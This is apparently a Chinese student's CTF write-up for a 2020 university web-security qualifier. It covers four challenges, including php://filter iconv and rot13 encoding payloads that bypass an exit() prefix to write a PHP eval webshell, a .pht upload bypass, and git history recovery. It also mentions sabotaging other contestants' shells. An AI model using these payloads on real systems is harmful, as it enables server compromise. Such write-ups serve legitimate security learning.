2020全国大学生WEB安全测试预选赛WriteUp

2020全国大学生WEB安全测试预选赛WriteUp

​ 加油一步一个脚印吧!这次比赛又学习到了很多,慕测的赛事时间相比其它CTF比赛比较紧凑,13:00-17:00有十道WEB题,虽然相比CTF题的难度是简单一些,但我也只做出4道题,怎么说呢,还是很菜,很菜,加油就好。

​ 下面仅简单记录几道题的payload和思路,因为现在是10.25的凌晨0:02。emmm,今天是我的生日,玩的很嗨,请了8个朋友/卓越班同学去吃电台巷火锅,挺好吃的,不知道是因为心情还是真的好吃。再多说几句,喜欢电台巷的红糖糍粑、鲜鸭血和牛蛙。红糖糍粑是现炸的很酥香;鲜鸭血真的很鲜,红红的。煮熟后特别嫩特别好吃;牛蛙是我第一次在牛油锅里涮着吃,很嫩很好吃。不仅还想感叹,自己明年就毕业了,这大概是大学期间最后一个生日了吧,步入了社会就再也没有假期了…突然有些伤感,但是还是要回到正题,说了这么多只是想说今天很晚了,WP就不写那么详细了,简单记录一下印象深刻的思路吧。

一、绕过<php? exit(); ?>

​ 这道题,我搜索相似,模仿的payload,深入原理并没有弄得特别懂,日后一定要好好学习一下php://filter的相关骚操作(2020.11.16,今天做BUUCTF时看到一篇讲解不错的博客,已经进一步的学习了其中的原理)。另外说一句,这道题搅屎棍很多,因为写入了一句话后,总有人删除别人上传的木马,我就被删了几次,故一怒之下写了一波条件竞争的py脚本,删除上传目录中的所有文件,且写入自己的一句话。emmm,自己成了搅屎棍了。

​ 源代码:

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
chdir("sandbox");
$filename = $_REQUEST['file'];
$data = '<?php exit();?> ' . $filename;
file_put_contents($filename,$data);
?>

​ Payload:

1
2
3
4
5
6
7
php://filter/convert.iconv.UCS-2LE.UCS-2BE| ?<hp pvela$(P_SO[T11)] ;>?/resource=f.php
#比赛时的Payload,下面的Payload都是后面认真学习后添加的。

?file=php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxxxxhp?<ve p$(laUQER[TSE;)]11>? /resource=shell.php

#hp?<xe p)(ti >?;:phpif//retlnoc/trevoci.U.vn4-SCU.EL4-SCx|EBxxxx<?php eval($REQUEST[1]); ?>1ser/cruohs=e.lle

过滤两次编码,rot13+UCS组合拳

1
2
3
?file=php://filter/string.rot13|convert.iconv.UCS-4LE.UCS-4BE|uc?<ir c$(ynHDRE[GFR;)]11>? /resource=shell.php

uc?<kr c)(gv >?;:cucvs//ergyegf/.tav1gbebp|3eriapv.g.iab-FPH.RY4-FPH|RO4<?php eval($REQUEST[1]); ?>1fre/pehbuf=r.yyr

类似解决方法还有很多,参考博客:https://blog.csdn.net/a3320315/article/details/105293885

二、找色差

​ 此题核心是加密过的js代码,主要显示内容为一个找色差的游戏,闯关到超过2000次就算成功,写一个js脚本自己玩即可。最后发现console中打印了一串96位的字符串,题目提示md5加密其即是flag,最后成功提交。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var e = document.createEvent("MouseEvents");
e.initEvent("click", true, true);
for(var count=0;count<3000;count++)
{
a=document.getElementById('box');
old = a.getElementsByTagName('span').length;
for(var i=0;i<old;i++)
{
a.getElementsByTagName('span')[i].dispatchEvent(e);
a=document.getElementById('box');
newA = a.getElementsByTagName('span').length;
if(newA != old)
{
break;
}
}
}

三、文件上传

​ 直接.pht绕过即可。

四、git

​ GitHacker脚本直接获得源码,然后git log --all发现之前有一个提交版本,git reset --hard commit-id切换版本,查看多了一个flag.php,cat其即可。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器